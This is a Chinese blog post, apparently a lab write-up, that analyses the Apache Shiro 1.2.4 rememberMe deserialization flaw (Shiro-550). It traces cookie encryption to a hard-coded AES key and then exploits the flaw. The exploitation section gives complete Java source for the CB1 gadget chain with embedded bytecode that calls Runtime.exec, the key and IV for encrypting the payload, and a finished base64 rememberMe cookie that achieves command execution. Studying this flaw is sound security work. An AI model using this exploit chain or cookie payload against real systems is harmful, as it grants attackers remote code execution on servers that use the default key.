shiro-550反序列化漏洞原理分析详解

环境搭建

这里的 shiro 环境使用P牛的项目[项目地址],clone 这个项目代码到本地,用 idea 打开

配置maven依赖

打开之后,使用 maven 重新加载一下 pom.xml 中的依赖
在这里插入图片描述

配置 tomcat

右上角点击编辑配置
在这里插入图片描述
添加本地的 tomcat 服务器在这里插入图片描述
选择你 tomcat 解压的目录在这里插入图片描述添加工件的部署
在这里插入图片描述选择shirodemo:war

在这里插入图片描述
然后就可以直接运行起来了

在这里插入图片描述
登录的账号密码在shiro.ini文件中
在这里插入图片描述
使用root:secret就可以成功登录,登录的时候要勾选 Remember me 选项
在这里插入图片描述

漏洞分析

加密流程分析

既然漏洞出现在 rememberMe 字段,那就先分析 rememberMe 的值是如何生成的

先正常登录一次系统,可以获取到一段经过加密的 rememberMe 值

在这里插入图片描述
首先来到登录判断的地方,在 DefaultSecurityManager.java 中进行登录的判断

在这里插入图片描述
在登录成功的函数 onSuccessfulLogin 处下个断点跟进分析
可以看到 token 中存储了登录的账号密码信息

在这里插入图片描述
一直往下跟进,直到 byte[] bytes = serialize(principals);

在这里插入图片描述
发现此处是在对登录的用户名root进行序列化的操作,然后判断加密方式是否为空

在这里插入图片描述
很明显此处不为空,并且根据属性的一些值能够判断,该加密方式为 AES的CBC模式 加密,进入判断,调用encrypt函数对用户名的序列化值 bytes 进行加密

继续跟进encrypt函数,可以发现里面又调用了 cipherService的encrypt函数,并且传入了两个参数

在这里插入图片描述

第一个参数 Serialized 就是传入的root序列化结果
第二个参数调用了 getEncryptionCipherKey() 方法的返回值,其实看方法名大概能够猜出这个方法是用来获取加密的key
跟进这个方法看看,发现就是返回了一个变量encryptionCipherKey 的值

在这里插入图片描述

右键查找一下 encryptionCipherKey 的用法,可以看到这个变量在下面的 setEncryptionCipherKey 方法中被赋值,再看一下谁调用了setEncryptionCipherKey ,发现是 setCipherKey 调用了这个函数

在这里插入图片描述
再继续查找 setCipherKey 的用法,发现该函数传入了 DEFAULT_CIPHER_KEY_BYTES 这个参数

在这里插入图片描述
继续查找 DEFAULT_CIPHER_KEY_BYTES 参数的定义,找到这个参数其实就是一个写死在代码中的字符串kPH+bIxk5D2deZiIxcaaaA==,也就是AES加密 key 的base64编码

在这里插入图片描述
所以,getEncryptionCipherKey()函数就是返回了 kPH+bIxk5D2deZiIxcaaaA== 这个字符串作为加密的 key

再进行跟进 encrypt 函数,发现里面还有个 ivBytes 变量,通过调用 generateInitializationVector(false) 方法获取值

在这里插入图片描述
这里 generateInitializationVector(false) 方法其实就是获取一个16字节是随机值,作为 AES 加密的 iv 值,然后再调用下面的 encrypt 函数,并且传入 序列化的值、key、iv 等参数
在这里插入图片描述
进入到 encrypt 函数中

在这里插入图片描述

  1. 判断 iv 是否为空并且长度要大于 0
  2. 对序列化后的用户名进行 AES CBC模式 的加密,将值赋给encrypted
  3. 创建一个 output 字节数组,并且数组的长度设置为 iv+ encrypted 的总长度
  4. 把 iv 值放到 output 数组中
  5. 把 encrypted 附加到 output 数组中

output数组中最后存储的就是 iv + encrypted (AES加密的序列化用户名),并返回

整个加密流程就是这样的,最后再对 output 进行 base64 编码并赋值给 rememberMe 作为响应头返回,流程就结束了

进行解密验证

验证一下该加密流程,对 rememberMe 字段进行手动解密

在这里插入图片描述
先对字段进行base64解码,在转换成16进制,提取处前面的16字节32位 6e1ba0729b4112174b30a59fef008387 应该就是 iv ,后面剩下的是加密的序列化用户名

在这里插入图片描述
对结果解密后,可以看到该字符串结果确实符合java序列化的格式
在这里插入图片描述

漏洞利用

由于AES是对称加密,所以知道了加密的 key 和 iv 也就知道了解密的 key 和 iv

使用 CB1 链进行命令执行 Calc 命令弹个计算器

注意 CB1 链依赖包的版本要与 shiro 依赖包的版本一致
使用 Maven Helper 插件查看 shiro1.2.4 的依赖包版本

  • commons-beanutils 1.8.3
  • commons-collections 3.2.1
    在这里插入图片描述使用 CB1 链生成执行 Calc 序列化的数据

CB1

package main.java;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import javax.xml.transform.TransformerConfigurationException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB1 {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, TransformerConfigurationException, IOException, ClassNotFoundException {
        //继承了 ABSTRACT_TRANSLET 父类的 Runtime.getRuntime().exec("calc") 的 class 字节码数据
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");
        TemplatesImpl templates = new TemplatesImpl();

        Field name = templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"ClearMe");

        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,new byte[][]{code});

        Field tfactory = templates.getClass().getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        BeanComparator beanComparator = new BeanComparator();

        PriorityQueue priorityQueue = new PriorityQueue(1, beanComparator);
        priorityQueue.add(1);
        priorityQueue.add(1);

        beanComparator.setProperty("outputProperties");
        Field queue = PriorityQueue.class.getDeclaredField("queue");
        queue.setAccessible(true);
        queue.set(priorityQueue,new Object[]{templates, templates});
        
        //序列化 priorityQueue 生成 ser.bin 文件
        serialize(priorityQueue);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
}

运行上述代码后会在当前目录生成一个 ser.bin 文件,这个 ser.bin 中就序列化的命令执行代码

同样使用 AES 的 CBC 模式进行加密,key 为 shrio 中硬编码的 key,iv 随便填写一个16字节长度的数据就行,只是最后要把 iv 放在加密数据的前面
key (bas64编码): kPH+bIxk5D2deZiIxcaaaA==
iv (16进制) :0123456789abcdef0123456789abcdef

在这里插入图片描述
然后再得到的加密数据前加上 iv ,再进行 base64 编码

在这里插入图片描述
将得到的数据作为 cookie 中 rememberMe 字段的参数进行发起请求,就可以成功命令执行

在这里插入图片描述附上此处的 payload :

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

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值